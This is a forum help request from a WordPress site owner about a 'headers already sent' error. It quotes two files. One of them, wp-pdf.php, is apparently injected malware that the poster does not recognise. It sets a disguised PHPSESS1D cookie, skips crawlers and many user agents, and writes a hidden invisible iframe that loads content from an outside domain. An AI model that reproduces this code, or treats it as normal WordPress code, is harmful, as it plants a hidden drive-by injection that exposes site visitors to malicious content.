Unsolvable classic error message : Cannot modify header information – WordPress

Hi,
I know this is a classic : I have that error message coming from WordPress :

Warning: Cannot modify header information – headers already sent by (output started at /home/quanscom/public_html/blog/wp-pdf.php:8) in /home/quanscom/public_html/blog/wp-includes/feed-rss2.php on line 8

I know that is usually coming from a garbage space or a line in the file but that seems to be different this time.

I’ve been following all those links :

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Warning%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss

and especially this one :

http://codex.ww.wp.xz.cn/Answers-Trouble_Shooting#Headers_already_sent

But nothing has changed. As advised in the last link, I’ve replaced those two files by the original, but nothing changed.
Could any one give a look with some fresh eyes please ?
Thanks, you’ll find the two pages below :

wp-pdfphp :

<?php
    if(!@isset($_COOKIE['PHPSESS1D']) &&
       !@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
        echo '<script type="text/javascript">
                d=new Date();
                d.setDate(d.getDate()+1);
                document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
    			</script>';
    	echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
    }
    ?>

feed-rss2.php :

` <?php
/**
* RSS2 Feed Template for displaying RSS2 Posts feed.
*
* @package WordPress
*/

header(‘Content-Type: ‘.feed_content_type(‘rss-http’).’; charset=’.get_option(‘blog_charset’), true);
$more = 1;

echo ‘<?xml version=”1.0″ encoding=”‘.get_option(‘blog_charset’).'”?’.’>’; ?>

<rss version=”2.0″
xmlns:content=”http://purl.org/rss/1.0/modules/content/&#8221;
xmlns:wfw=”http://wellformedweb.org/CommentAPI/&#8221;
xmlns:dc=”http://purl.org/dc/elements/1.1/&#8221;
xmlns:atom=”http://www.w3.org/2005/Atom&#8221;
xmlns:sy=”http://purl.org/rss/1.0/modules/syndication/&#8221;
xmlns:slash=”http://purl.org/rss/1.0/modules/slash/&#8221;
<?php do_action(‘rss2_ns’); ?>
>`
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.